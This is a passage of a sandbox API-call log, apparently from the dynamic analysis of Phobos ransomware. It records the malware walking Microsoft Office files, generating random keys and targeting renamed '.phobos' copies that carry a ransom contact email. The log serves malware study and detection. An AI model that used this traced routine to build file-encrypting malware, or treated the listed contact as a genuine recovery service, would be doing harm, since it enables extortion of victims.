Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.448] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.449] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45136) returned 1 [0154.449] CloseHandle (hObject=0x488) returned 1 [0154.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl")) returned 0x220 [0154.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.449] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.450] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1919) returned 1 [0154.450] CloseHandle (hObject=0x488) returned 1 [0154.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd")) returned 0x220 [0154.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.450] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.451] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1309) returned 1 [0154.451] CloseHandle (hObject=0x488) returned 1 [0154.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd")) returned 0x220 [0154.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.452] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\IFDPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ifdpintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.455] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=13896) returned 1 [0154.455] CloseHandle (hObject=0x488) returned 1 [0154.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\IFDPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ifdpintl.dll")) returned 0x220 [0154.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\IFDPINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ifdpintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\IFDPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ifdpintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.455] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.457] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1899) returned 1 [0154.457] CloseHandle (hObject=0x488) returned 1 [0154.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd")) returned 0x220 [0154.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.459] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.466] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=141562) returned 1 [0154.466] CloseHandle (hObject=0x488) returned 1 [0154.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs")) returned 0x220 [0154.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.514] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0154.522] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=646) returned 1 [0154.522] CloseHandle (hObject=0x2dc) returned 1 [0154.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc")) returned 0x220 [0154.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.527] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.530] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0154.530] CloseHandle (hObject=0x250) returned 1 [0154.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk")) returned 0x220 [0154.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.530] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.532] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=113) returned 1 [0154.532] CloseHandle (hObject=0x250) returned 1 [0154.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk")) returned 0x220 [0154.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.533] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.535] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=616) returned 1 [0154.535] CloseHandle (hObject=0x254) returned 1 [0154.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc")) returned 0x220 [0154.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.536] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.537] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0154.537] CloseHandle (hObject=0x254) returned 1 [0154.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk")) returned 0x220 [0154.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.540] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.546] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=651) returned 1 [0154.547] CloseHandle (hObject=0x254) returned 1 [0154.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc")) returned 0x220 [0154.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.549] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.553] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0154.554] CloseHandle (hObject=0x254) returned 1 [0154.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk")) returned 0x220 [0154.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.554] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.555] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=113) returned 1 [0154.555] CloseHandle (hObject=0x254) returned 1 [0154.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk")) returned 0x220 [0154.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.556] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mapir.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.559] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1272400) returned 1 [0154.559] CloseHandle (hObject=0x254) returned 1 [0154.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mapir.dll")) returned 0x220 [0154.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPIR.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mapir.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mapir.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.559] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mor6int.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.731] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=446024) returned 1 [0154.731] CloseHandle (hObject=0x254) returned 1 [0154.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mor6int.dll")) returned 0x220 [0154.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOR6INT.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mor6int.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mor6int.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.731] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.732] GetFileSizeEx (in: hFile=0x254, 